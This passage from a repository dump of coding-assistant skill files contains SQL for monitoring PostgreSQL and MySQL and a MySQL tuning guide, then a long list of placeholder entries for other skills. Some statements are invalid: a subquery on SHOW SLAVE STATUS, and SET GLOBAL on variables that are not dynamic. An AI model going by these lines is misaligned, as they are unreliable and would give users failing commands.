POOL_SIZE,\n    FREE_BUFFERS,\n    DATABASE_PAGES,\n    OLD_DATABASE_PAGES,\n    MODIFIED_DATABASE_PAGES,\n    PENDING_DECOMPRESS,\n    PENDING_READS,\n    PENDING_FLUSH_LRU,\n    PENDING_FLUSH_LIST\nFROM information_schema.INNODB_BUFFER_POOL_STATS;\n\n-- InnoDB lock waits\nSELECT\n    r.trx_id as waiting_trx,\n    r.trx_mysql_thread_id as waiting_thread,\n    r.trx_query as waiting_query,\n    b.trx_id as blocking_trx,\n    b.trx_mysql_thread_id as blocking_thread,\n    b.trx_query as blocking_query\nFROM information_schema.innodb_lock_waits w\nINNER JOIN information_schema.innodb_trx b ON b.trx_id = w.blocking_trx_id\nINNER JOIN information_schema.innodb_trx r ON r.trx_id = w.requesting_trx_id;\n\n-- Long-running transactions\nSELECT\n    trx_id,\n    trx_state,\n    trx_started,\n    TIMESTAMPDIFF(SECOND, trx_started, NOW()) as duration_sec,\n    trx_requested_lock_id,\n    trx_mysql_thread_id,\n    trx_query\nFROM information_schema.innodb_trx\nWHERE TIMESTAMPDIFF(SECOND, trx_started, NOW()) > 60\nORDER BY trx_started;\n```\n\n### Connection and Process Monitoring\n\n```sql\n-- Current connections by state\nSELECT\n    command,\n    state,\n    COUNT(*) as connections,\n    MAX(time) as max_time_sec\nFROM information_schema.processlist\nGROUP BY command, state\nORDER BY connections DESC;\n\n-- Long-running queries\nSELECT\n    id,\n    user,\n    host,\n    db,\n    command,\n    time,\n    state,\n    LEFT(info, 100) as query\nFROM information_schema.processlist\nWHERE command != 'Sleep'\n  AND time > 10\nORDER BY time DESC;\n\n-- Connection usage\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Max_used_connections';\nSHOW VARIABLES LIKE 'max_connections';\n```\n\n### System Status Variables\n\n```sql\n-- Key buffer efficiency (MyISAM)\nSHOW STATUS LIKE 'Key_%';\n\n-- InnoDB metrics\nSHOW STATUS LIKE 'Innodb_buffer_pool_%';\nSHOW STATUS LIKE 'Innodb_rows_%';\nSHOW STATUS LIKE 'Innodb_data_%';\n\n-- Table locks\nSHOW STATUS LIKE 'Table_locks_%';\n\n-- Temporary tables\nSHOW STATUS LIKE 'Created_tmp_%';\n\n-- Thread cache\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Connections';\n\n-- Query cache (MySQL 5.7)\nSHOW STATUS LIKE 'Qcache_%';\n```\n\n## Cross-Platform Monitoring\n\n### Resource Utilization\n\n```sql\n-- PostgreSQL: Database size growth\nSELECT\n    current_database() as database,\n    pg_size_pretty(pg_database_size(current_database())) as size,\n    (SELECT pg_size_pretty(sum(pg_total_relation_size(schemaname||'.'||tablename)))\n     FROM pg_tables\n     WHERE schemaname = 'public') as public_schema_size;\n\n-- MySQL: Database size\nSELECT\n    table_schema as database,\n    ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) as size_mb\nFROM information_schema.tables\nWHERE table_schema NOT IN ('information_schema', 'performance_schema', 'mysql', 'sys')\nGROUP BY table_schema\nORDER BY size_mb DESC;\n```\n\n### Health Check Queries\n\n```sql\n-- PostgreSQL: Overall health\nSELECT\n    'connections' as metric,\n    count(*) as current,\n    current_setting('max_connections')::int as max\nFROM pg_stat_activity\nUNION ALL\nSELECT\n    'cache_hit_ratio',\n    round((sum(heap_blks_hit) / NULLIF(sum(heap_blks_hit) + sum(heap_blks_read), 0) * 100)::numeric, 2),\n    95\nFROM pg_statio_user_tables\nUNION ALL\nSELECT\n    'database_size_gb',\n    round((pg_database_size(current_database()) / 1024.0 / 1024.0 / 1024.0)::numeric, 2),\n    NULL;\n\n-- MySQL: Overall health\nSELECT 'connections' as metric,\n       (SELECT COUNT(*) FROM information_schema.processlist) as current,\n       @@max_connections as max\nUNION ALL\nSELECT 'buffer_pool_hit_ratio',\n       ROUND((1 - (\n           (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n           (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n       )) * 100, 2),\n       95\nUNION ALL\nSELECT 'slow_queries',\n       (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Slow_queries'),\n       NULL;\n```\n\n## Alert Thresholds\n\n### PostgreSQL Alerts\n\n```sql\n-- Connection pool nearing capacity\nSELECT\n    count(*) as current_connections,\n    current_setting('max_connections')::int as max_connections,\n    CASE\n        WHEN count(*) > current_setting('max_connections')::int * 0.9 THEN 'CRITICAL'\n        WHEN count(*) > current_setting('max_connections')::int * 0.8 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM pg_stat_activity;\n\n-- Cache hit ratio degradation\nWITH cache_stats AS (\n    SELECT\n        round((sum(heap_blks_hit) / NULLIF(sum(heap_blks_hit) + sum(heap_blks_read), 0) * 100)::numeric, 2) as hit_ratio\n    FROM pg_statio_user_tables\n)\nSELECT\n    hit_ratio,\n    CASE\n        WHEN hit_ratio < 90 THEN 'CRITICAL'\n        WHEN hit_ratio < 95 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM cache_stats;\n\n-- Replication lag (on standby)\nSELECT\n    CASE\n        WHEN pg_last_wal_receive_lsn() = pg_last_wal_replay_lsn() THEN 0\n        ELSE EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp()))\n    END as lag_seconds,\n    CASE\n        WHEN EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp())) > 60 THEN 'CRITICAL'\n        WHEN EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp())) > 10 THEN 'WARNING'\n        ELSE 'OK'\n    END as status;\n```\n\n### MySQL Alerts\n\n```sql\n-- InnoDB buffer pool efficiency\nSELECT\n    ROUND((1 - (\n        (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n        (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n    )) * 100, 2) as buffer_pool_hit_ratio,\n    CASE\n        WHEN (1 - (\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n        )) * 100 < 90 THEN 'CRITICAL'\n        WHEN (1 - (\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n        )) * 100 < 95 THEN 'WARNING'\n        ELSE 'OK'\n    END as status;\n\n-- Replication lag (on replica)\nSELECT\n    Seconds_Behind_Master as lag_seconds,\n    CASE\n        WHEN Slave_IO_Running = 'No' OR Slave_SQL_Running = 'No' THEN 'CRITICAL - Replication stopped'\n        WHEN Seconds_Behind_Master > 300 THEN 'CRITICAL'\n        WHEN Seconds_Behind_Master > 60 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM (SHOW SLAVE STATUS) s;\n```\n\n## Monitoring Best Practices\n\n1. **Establish baselines** - Record normal performance metrics\n2. **Track trends** - Monitor daily/weekly patterns\n3. **Set thresholds** - Define warning and critical levels\n4. **Automate alerts** - Use monitoring tools (Prometheus, Grafana, Datadog)\n5. **Regular reviews** - Weekly performance analysis meetings\n6. **Document changes** - Track configuration and schema modifications\n7. **Capacity planning** - Monitor growth and forecast needs\n8. **Test queries** - Validate optimizations in staging first\n","skills/database-optimizer/references/mysql-tuning.md":"# MySQL Tuning\n\n## InnoDB Memory Configuration\n\n### Buffer Pool\n\n```sql\n-- Recommended: 70-80% of system RAM for dedicated MySQL server\n-- For 16GB RAM server:\nSET GLOBAL innodb_buffer_pool_size = 12884901888;  -- 12GB\n\n-- Check buffer pool usage\nSHOW GLOBAL STATUS LIKE 'Innodb_buffer_pool_%';\n\n-- Buffer pool hit ratio (target: >99%)\nSELECT\n    (1 - (Innodb_buffer_pool_reads / Innodb_buffer_pool_read_requests)) * 100 as hit_ratio\nFROM (\n    SELECT\n        VARIABLE_VALUE as Innodb_buffer_pool_reads\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads'\n) reads,\n(\n    SELECT\n        VARIABLE_VALUE as Innodb_buffer_pool_read_requests\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests'\n) requests;\n\n-- Buffer pool instances (for multi-core systems)\n-- Recommended: 1 instance per 1GB, max 64\nSET GLOBAL innodb_buffer_pool_instances = 8;\n```\n\n### Sort and Join Buffers\n\n```sql\n-- Sort buffer per connection\nSET GLOBAL sort_buffer_size = 2097152;  -- 2MB\n\n-- Join buffer for full joins\nSET GLOBAL join_buffer_size = 2097152;  -- 2MB\n\n-- Temporary table size\nSET GLOBAL tmp_table_size = 67108864;  -- 64MB\nSET GLOBAL max_heap_table_size = 67108864;  -- 64MB\n\n-- Monitor temp table usage\nSHOW GLOBAL STATUS LIKE 'Created_tmp%';\n```\n\n## Query Cache (Deprecated in 8.0)\n\n```sql\n-- MySQL 5.7 and earlier\n-- Note: Removed in MySQL 8.0\nSET GLOBAL query_cache_type = 1;\nSET GLOBAL query_cache_size = 67108864;  -- 64MB\n\n-- Check query cache effectiveness\nSHOW STATUS LIKE 'Qcache%';\n\n-- Query cache hit ratio\nSELECT\n    Qcache_hits / (Qcache_hits + Com_select) * 100 as cache_hit_ratio\nFROM (\n    SELECT VARIABLE_VALUE as Qcache_hits\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Qcache_hits'\n) hits,\n(\n    SELECT VARIABLE_VALUE as Com_select\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Com_select'\n) selects;\n```\n\n## InnoDB Performance Settings\n\n### Log Files and Flushing\n\n```sql\n-- InnoDB log file size (larger = better write performance)\n-- Recommended: 1-2GB for write-heavy workloads\nSET GLOBAL innodb_log_file_size = 1073741824;  -- 1GB\n\n-- Log buffer size\nSET GLOBAL innodb_log_buffer_size = 16777216;  -- 16MB\n\n-- Flush method (O_DIRECT for dedicated server, avoids double buffering)\n-- Set in my.cnf\ninnodb_flush_method = O_DIRECT\n\n-- Flush log at transaction commit\n-- 1 = full ACID (default, safest)\n-- 2 = write to OS cache, flush every second\n-- 0 = write and flush every second (fastest, risk data loss)\nSET GLOBAL innodb_flush_log_at_trx_commit = 1;\n\n-- For replication slaves or analytics (trade safety for speed)\nSET GLOBAL innodb_flush_log_at_trx_commit = 2;\n```\n\n### I/O Configuration\n\n```sql\n-- Read I/O threads\nSET GLOBAL innodb_read_io_threads = 8;\n\n-- Write I/O threads\nSET GLOBAL innodb_write_io_threads = 8;\n\n-- I/O capacity (IOPS your storage can handle)\n-- For SSD: 5000-20000\nSET GLOBAL innodb_io_capacity = 10000;\nSET GLOBAL innodb_io_capacity_max = 20000;\n\n-- Flush method for optimal I/O\n-- my.cnf:\ninnodb_flush_method = O_DIRECT\ninnodb_flush_neighbors = 0  -- Disable for SSD\n```\n\n### Thread Configuration\n\n```sql\n-- Max connections\nSET GLOBAL max_connections = 200;\n\n-- Thread cache (reuse threads)\nSET GLOBAL thread_cache_size = 100;\n\n-- Check thread cache effectiveness\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Connections';\n\n-- Thread cache hit ratio (target: >90%)\nSELECT\n    (1 - (Threads_created / Connections)) * 100 as thread_cache_hit_ratio\nFROM (\n    SELECT VARIABLE_VALUE as Threads_created\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Threads_created'\n) created,\n(\n    SELECT VARIABLE_VALUE as Connections\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Connections'\n) conns;\n```\n\n## Query Optimization\n\n### Slow Query Log\n\n```sql\n-- Enable slow query logging\nSET GLOBAL slow_query_log = 'ON';\nSET GLOBAL long_query_time = 1.0;  -- Log queries > 1 second\nSET GLOBAL log_queries_not_using_indexes = 'ON';\n\n-- Slow query log file location\nSET GLOBAL slow_query_log_file = '/var/log/mysql/slow-query.log';\n\n-- Analyze slow query log with pt-query-digest\n-- $ pt-query-digest /var/log/mysql/slow-query.log\n\n-- Check slow query status\nSHOW GLOBAL STATUS LIKE 'Slow_queries';\n```\n\n### Performance Schema\n\n```sql\n-- Enable performance schema (my.cnf)\nperformance_schema = ON\n\n-- Top queries by total execution time\nSELECT\n    DIGEST_TEXT,\n    COUNT_STAR as exec_count,\n    ROUND(AVG_TIMER_WAIT / 1000000000000, 3) as avg_time_sec,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_time_sec,\n    ROUND((SUM_TIMER_WAIT / SUM(SUM_TIMER_WAIT) OVER ()) * 100, 2) as pct\nFROM performance_schema.events_statements_summary_by_digest\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 10;\n\n-- Full table scans\nSELECT * FROM sys.statements_with_full_table_scans\nORDER BY exec_count DESC\nLIMIT 10;\n\n-- Tables with high I/O\nSELECT\n    object_schema,\n    object_name,\n    count_read,\n    count_write,\n    count_fetch,\n    SUM_TIMER_WAIT / 1000000000000 as total_latency_sec\nFROM performance_schema.table_io_waits_summary_by_table\nWHERE object_schema NOT IN ('mysql', 'performance_schema', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 10;\n```\n\n## Index Optimization\n\n### Index Statistics\n\n```sql\n-- Update index statistics\nANALYZE TABLE users;\n\n-- Check index cardinality\nSHOW INDEX FROM users;\n\n-- Find duplicate/redundant indexes\nSELECT\n    a.table_schema,\n    a.table_name,\n    a.index_name as index1,\n    a.column_name,\n    b.index_name as index2\nFROM information_schema.statistics a\nJOIN information_schema.statistics b\n    ON a.table_schema = b.table_schema\n    AND a.table_name = b.table_name\n    AND a.seq_in_index = b.seq_in_index\n    AND a.column_name = b.column_name\n    AND a.index_name != b.index_name\nWHERE a.table_schema NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys')\nORDER BY a.table_schema, a.table_name, a.index_name;\n\n-- Find unused indexes\nSELECT\n    object_schema,\n    object_name,\n    index_name\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE index_name IS NOT NULL\n  AND count_star = 0\n  AND object_schema NOT IN ('mysql', 'performance_schema', 'sys')\nORDER BY object_schema, object_name;\n```\n\n### Covering Indexes\n\n```sql\n-- Create covering index\nCREATE INDEX idx_users_email_name_created\nON users(email, name, created_at);\n\n-- Query can use covering index\nEXPLAIN\nSELECT name, created_at FROM users WHERE email = 'user@example.com';\n-- Look for \"Using index\" in Extra column\n\n-- Force index usage for testing\nSELECT name FROM users FORCE INDEX (idx_users_email_name_created)\nWHERE email = 'user@example.com';\n```\n\n## Partitioning\n\n### Range Partitioning\n\n```sql\n-- Create partitioned table\nCREATE TABLE events (\n    id BIGINT NOT NULL AUTO_INCREMENT,\n    event_type VARCHAR(50),\n    created_at DATETIME NOT NULL,\n    data JSON,\n    PRIMARY KEY (id, created_at)\n) PARTITION BY RANGE (YEAR(created_at)) (\n    PARTITION p2023 VALUES LESS THAN (2024),\n    PARTITION p2024 VALUES LESS THAN (2025),\n    PARTITION p2025 VALUES LESS THAN (2026),\n    PARTITION pmax VALUES LESS THAN MAXVALUE\n);\n\n-- Query with partition pruning\nEXPLAIN PARTITIONS\nSELECT * FROM events\nWHERE created_at >= '2024-01-01' AND created_at < '2024-02-01';\n-- Should show \"partitions: p2024\"\n\n-- Add new partition\nALTER TABLE events\nADD PARTITION (PARTITION p2026 VALUES LESS THAN (2027));\n\n-- Drop old partition (fast delete)\nALTER TABLE events DROP PARTITION p2023;\n```\n\n### List Partitioning\n\n```sql\n-- Partition by discrete values\nCREATE TABLE orders (\n    id BIGINT NOT NULL AUTO_INCREMENT,\n    user_id BIGINT,\n    status VARCHAR(20),\n    PRIMARY KEY (id, status)\n) PARTITION BY LIST COLUMNS(status) (\n    PARTITION p_pending VALUES IN ('pending', 'processing'),\n    PARTITION p_completed VALUES IN ('completed', 'shipped'),\n    PARTITION p_cancelled VALUES IN ('cancelled', 'refunded')\n);\n```\n\n## Replication Optimization\n\n### Binary Log Settings\n\n```sql\n-- Binary log format\nSET GLOBAL binlog_format = 'ROW';  -- ROW, STATEMENT, or MIXED\n\n-- Binary log cache size\nSET GLOBAL binlog_cache_size = 1048576;  -- 1MB per transaction\n\n-- Sync binary log (durability vs performance)\nSET GLOBAL sync_binlog = 1;  -- Safest, sync after each commit\n-- sync_binlog = 0  -- Fastest, let OS handle flushing\n\n-- Expire binary logs after N days\nSET GLOBAL binlog_expire_logs_seconds = 604800;  -- 7 days\n```\n\n### Replication Lag Monitoring\n\n```sql\n-- On replica: Check replication lag\nSHOW SLAVE STATUS\\G\n\n-- Parse seconds behind master\nSELECT\n    IF(Slave_IO_Running = 'Yes' AND Slave_SQL_Running = 'Yes',\n       Seconds_Behind_Master,\n       NULL) as replication_lag_seconds\nFROM (SHOW SLAVE STATUS) s;\n\n-- Parallel replication (MySQL 8.0+)\nSET GLOBAL slave_parallel_workers = 4;\nSET GLOBAL slave_parallel_type = 'LOGICAL_CLOCK';\n```\n\n## Table Optimization\n\n### Table Maintenance\n\n```sql\n-- Optimize table (rebuilds, reclaims space)\nOPTIMIZE TABLE users;\n\n-- Check table for errors\nCHECK TABLE users;\n\n-- Repair table if corrupted\nREPAIR TABLE users;\n\n-- Analyze table statistics\nANALYZE TABLE users;\n\n-- Check fragmentation\nSELECT\n    table_schema,\n    table_name,\n    ROUND(data_length / 1024 / 1024, 2) as data_mb,\n    ROUND(data_free / 1024 / 1024, 2) as free_mb,\n    ROUND(data_free / data_length * 100, 2) as fragmentation_pct\nFROM information_schema.tables\nWHERE table_schema NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys')\n  AND data_free > 0\nORDER BY fragmentation_pct DESC;\n```\n\n### Table Compression\n\n```sql\n-- InnoDB compression (requires ROW_FORMAT=COMPRESSED)\nCREATE TABLE compressed_logs (\n    id BIGINT AUTO_INCREMENT PRIMARY KEY,\n    message TEXT,\n    created_at DATETIME\n) ROW_FORMAT=COMPRESSED KEY_BLOCK_SIZE=8;\n\n-- Check compression ratio\nSELECT\n    table_schema,\n    table_name,\n    ROUND(data_length / 1024 / 1024, 2) as data_mb,\n    ROUND(index_length / 1024 / 1024, 2) as index_mb,\n    create_options\nFROM information_schema.tables\nWHERE row_format = 'Compressed';\n```\n\n## Configuration File Example\n\n```ini\n# my.cnf - Production optimized for 16GB RAM server\n\n[mysqld]\n# InnoDB Settings\ninnodb_buffer_pool_size = 12G\ninnodb_buffer_pool_instances = 8\ninnodb_log_file_size = 1G\ninnodb_log_buffer_size = 16M\ninnodb_flush_log_at_trx_commit = 1\ninnodb_flush_method = O_DIRECT\ninnodb_flush_neighbors = 0\n\n# I/O Settings\ninnodb_read_io_threads = 8\ninnodb_write_io_threads = 8\ninnodb_io_capacity = 10000\ninnodb_io_capacity_max = 20000\n\n# Connection Settings\nmax_connections = 200\nthread_cache_size = 100\n\n# Query Cache (MySQL 5.7)\n# query_cache_type = 1\n# query_cache_size = 64M\n\n# Temporary Tables\ntmp_table_size = 64M\nmax_heap_table_size = 64M\n\n# Slow Query Log\nslow_query_log = ON\nlong_query_time = 1\nlog_queries_not_using_indexes = ON\n\n# Binary Log\nbinlog_format = ROW\nsync_binlog = 1\nbinlog_expire_logs_seconds = 604800\n\n# Performance Schema\nperformance_schema = ON\n\n# Character Set\ncharacter_set_server = utf8mb4\ncollation_server = utf8mb4_unicode_ci\n```\n","skills/database-optimizer/references/postgresql-tuning.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2Freferences%2Fpostgresql-tuning.md -->","skills/database-optimizer/references/query-optimization.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2Freferences%2Fquery-optimization.md -->","skills/database-scout/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-scout%2FSKILL.md -->","skills/dataset-quality-audit/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdataset-quality-audit%2FSKILL.md -->","skills/deep-module-refactor/REFERENCE.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdeep-module-refactor%2FREFERENCE.md -->","skills/deep-module-refactor/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdeep-module-refactor%2FSKILL.md -->","skills/design-system-builder/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2FSKILL.md -->","skills/design-system-builder/assets/app-overview-generator.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fapp-overview-generator.md -->","skills/design-system-builder/assets/design-system.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fdesign-system.md -->","skills/design-system-builder/assets/vibe-design-template.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fvibe-design-template.md -->","skills/dev-guide-generator/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdev-guide-generator%2FSKILL.md -->","skills/ethical-hacking-methodology/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fethical-hacking-methodology%2FSKILL.md -->","skills/file-path-traversal/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ffile-path-traversal%2FSKILL.md -->","skills/html-injection-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fhtml-injection-testing%2FSKILL.md -->","skills/http-load-profiler/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fhttp-load-profiler%2FSKILL.md -->","skills/idor-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fidor-testing%2FSKILL.md -->","skills/linux-privilege-escalation/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flinux-privilege-escalation%2FSKILL.md -->","skills/linux-shell-scripting/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flinux-shell-scripting%2FSKILL.md -->","skills/localization-toolkit/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flocalization-toolkit%2FSKILL.md -->","skills/log-error-digest/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flog-error-digest%2FSKILL.md -->","skills/metasploit-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fmetasploit-framework%2FSKILL.md -->","skills/network-101/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnetwork-101%2FSKILL.md -->","skills/nextjs-developer/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2FSKILL.md -->","skills/nextjs-developer/references/app-router.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fapp-router.md -->","skills/nextjs-developer/references/data-fetching.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fdata-fetching.md -->","skills/nextjs-developer/references/deployment.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fdeployment.md -->","skills/nextjs-developer/references/server-actions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fserver-actions.md -->","skills/nextjs-developer/references/server-components.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fserver-components.md -->","skills/pentest-checklist/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpentest-checklist%2FSKILL.md -->","skills/pentest-commands/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpentest-commands%2FSKILL.md -->","skills/pipeline-blueprint/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpipeline-blueprint%2FSKILL.md -->","skills/playwright/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2FSKILL.md -->","skills/playwright/ci/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2FSKILL.md -->","skills/playwright/ci/ci-github-actions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-github-actions.md -->","skills/playwright/ci/ci-gitlab.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-gitlab.md -->","skills/playwright/ci/ci-other.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-other.md -->","skills/playwright/ci/docker-and-containers.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fdocker-and-containers.md -->","skills/playwright/ci/global-setup-teardown.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fglobal-setup-teardown.md -->","skills/playwright/ci/parallel-and-sharding.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fparallel-and-sharding.md -->","skills/playwright/ci/projects-and-dependencies.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fprojects-and-dependencies.md -->","skills/playwright/ci/reporting-and-artifacts.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Freporting-and-artifacts.md -->","skills/playwright/ci/test-coverage.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Ftest-coverage.md -->","skills/playwright/core/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2FSKILL.md -->","skills/playwright/core/accessibility.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Faccessibility.md -->","skills/playwright/core/angular.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fangular.md -->","skills/playwright/core/api-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fapi-testing.md -->","skills/playwright/core/assertions-and-waiting.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fassertions-and-waiting.md -->","skills/playwright/core/auth-flows.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fauth-flows.md -->","skills/playwright/core/authentication.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fauthentication.md -->","skills/playwright/core/browser-apis.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fbrowser-apis.md -->","skills/playwright/core/browser-extensions.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fbrowser-extensions.md -->","skills/playwright/core/canvas-and-webgl.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcanvas-and-webgl.md -->","skills/playwright/core/clock-and-time-mocking.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fclock-and-time-mocking.md -->","skills/playwright/core/common-pitfalls.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcommon-pitfalls.md -->","skills/playwright/core/component-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcomponent-testing.md -->","skills/playwright/core/configuration.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fconfiguration.md -->","skills/playwright/core/crud-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcrud-testing.md -->","skills/playwright/core/debugging.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fdebugging.md -->","skills/playwright/core/drag-and-drop.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fdrag-and-drop.md -->","skills/playwright/core/electron-testing.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Felectron-testing.md -->","skills/playwright/core/error-and-edge-cases.md":"<!-- Skill 